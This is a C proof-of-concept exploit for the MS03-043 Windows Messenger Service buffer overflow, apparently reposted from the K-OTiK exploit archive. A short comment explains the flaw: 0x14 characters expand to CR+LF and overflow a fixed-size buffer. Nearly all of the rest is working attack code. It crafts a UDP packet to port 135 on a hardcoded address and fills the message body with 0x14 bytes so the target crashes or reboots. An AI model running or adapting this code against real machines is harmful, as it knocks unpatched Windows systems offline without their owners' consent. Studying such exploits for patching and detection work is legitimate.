Microsoft Windows Messenger Service DoS Proof of Concept (MS03-043)

    
 
/*

                              DoS Proof of Concept for MS03-043 - exploitation shouldn't be too hard.
                              Launching it one or two times against the target should make the 
                              machine reboot. Tested against a Win2K SP4.

                              "The vulnerability results because the Messenger Service does not 
                              properly validate the length of a message before passing it to the allocated 
                              buffer" according to MS bulletin. Digging into it a bit more, we find that when 
                              a character 0x14 in encountered in the 'body' part of the message, it is 
                              replaced by a CR+LF. The buffer allocated for this operation is twice the size 
                              of the string, which is the way to go, but is then copied to a buffer which 
                              was only allocated 11CAh bytes. Thanks to that, we can bypass the length checks 
                              and overflow the fixed size buffer.

                              Credits go to LSD :)

                              */

                              #include 
                              #include 
                              #include 
                              #include 

                              // Packet format found thanks to a bit a sniffing
                              static unsigned char packet_header[] =
                              "\x04\x00\x28\x00"
                              "\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                              "\x00\x00\x00\x00\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0"
                              "\x4f\xb6\xe6\xfc"
                              "\xff\xff\xff\xff" // @40 : unique id over 16 bytes ?
                              "\xff\xff\xff\xff"
                              "\xff\xff\xff\xff"
                              "\xff\xff\xff\xff"
                              "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
                              "\x00\x00\xff\xff\xff\xff"
                              "\xff\xff\xff\xff" // @74 : fields length
                              "\x00\x00";

                              // Exploit downloaded on k-otik.com
                              unsigned char field_header[] =
                              "\xff\xff\xff\xff" // @0 : field length
                              "\x00\x00\x00\x00"
                              "\xff\xff\xff\xff"; // @8 : field length

                              int main(int argc,char *argv[])
                              {
                              int i, packet_size, fields_size, s;
                              unsigned char packet[8192];
                              struct sockaddr_in addr;
                              // A few conditions :
                              // 0 <= strlen(from) + strlen(machine) <= 56
                              // max fields size 3992
                              char from[] = "RECCA";
                              char machine[] = "ZEUS";
                              char body[4096] = "*** MESSAGE ***";

                              WSADATA wsaData;

                              WSAStartup(0x0202, &wsaData);

                              ZeroMemory(&addr, sizeof(addr));
                              addr.sin_family = AF_INET;
                              addr.sin_addr.s_addr = inet_addr("192.168.186.3");
                              addr.sin_port = htons(135);

                              ZeroMemory(packet, sizeof(packet));
                              packet_size = 0;

                              memcpy(&packet[packet_size], packet_header, sizeof(packet_header) - 
                              1);
                              packet_size += sizeof(packet_header) - 1;

                              i = strlen(from) + 1;
                              *(unsigned int *)(&field_header[0]) = i;
                              *(unsigned int *)(&field_header[8]) = i;
                              memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
                              packet_size += sizeof(field_header) - 1;
                              strcpy(&packet[packet_size], from);
                              packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4

                              i = strlen(machine) + 1;
                              *(unsigned int *)(&field_header[0]) = i;
                              *(unsigned int *)(&field_header[8]) = i;
                              memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
                              packet_size += sizeof(field_header) - 1;
                              strcpy(&packet[packet_size], machine);
                              packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4

                              fprintf(stdout, "Max 'body' size (incl. terminal NULL char) = %d\n", 
                              3992 - packet_size + sizeof(packet_header) - sizeof(field_header));
                              memset(body, 0x14, sizeof(body));
                              body[3992 - packet_size + sizeof(packet_header) - sizeof(field_header) 
                              - 1] = '\0';

                              i = strlen(body) + 1;
                              *(unsigned int *)(&field_header[0]) = i;
                              *(unsigned int *)(&field_header[8]) = i;
                              memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
                              packet_size += sizeof(field_header) - 1;
                              strcpy(&packet[packet_size], body);
                              packet_size += i;

                              fields_size = packet_size - (sizeof(packet_header) - 1);
                              *(unsigned int *)(&packet[40]) = time(NULL);
                              *(unsigned int *)(&packet[74]) = fields_size;

                              fprintf(stdout, "Total length of strings = %d\nPacket size = 
                              %d\nFields size = %d\n", strlen(from) + strlen(machine) + strlen(body), 
                              packet_size, fields_size);

                              /*
                              for (i = 0; i < packet_size; i++)
                              {
                              if (i && ((i & 1) == 0))
                              fprintf(stdout, " ");
                              if (i && ((i & 15) == 0))
                              fprintf(stdout, "\n");
                              fprintf(stdout, "%02x", packet[i]);
                              }
                              fprintf(stdout, "\n");
                              */
                              if ((s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
                              exit(EXIT_FAILURE);

                              if (sendto(s, packet, packet_size, 0, (struct sockaddr *)&addr, 
                              sizeof(addr)) == -1)
                              exit(EXIT_FAILURE);
                              /*
                              if (recvfrom(s, packet, sizeof(packet) - 1, 0, NULL, NULL) == -1)
                              exit(EXIT_FAILURE);
                              */

                              exit(EXIT_SUCCESS);
                              }
                              
                              

 Audits de Sécurité & Tests Intrusifs Mailing Listes Advisories  Service Publicitaire

Tous droits réservés © 2002-2004 K-OTiK Security Voir Notice Légale   

actualité informatique  Exploits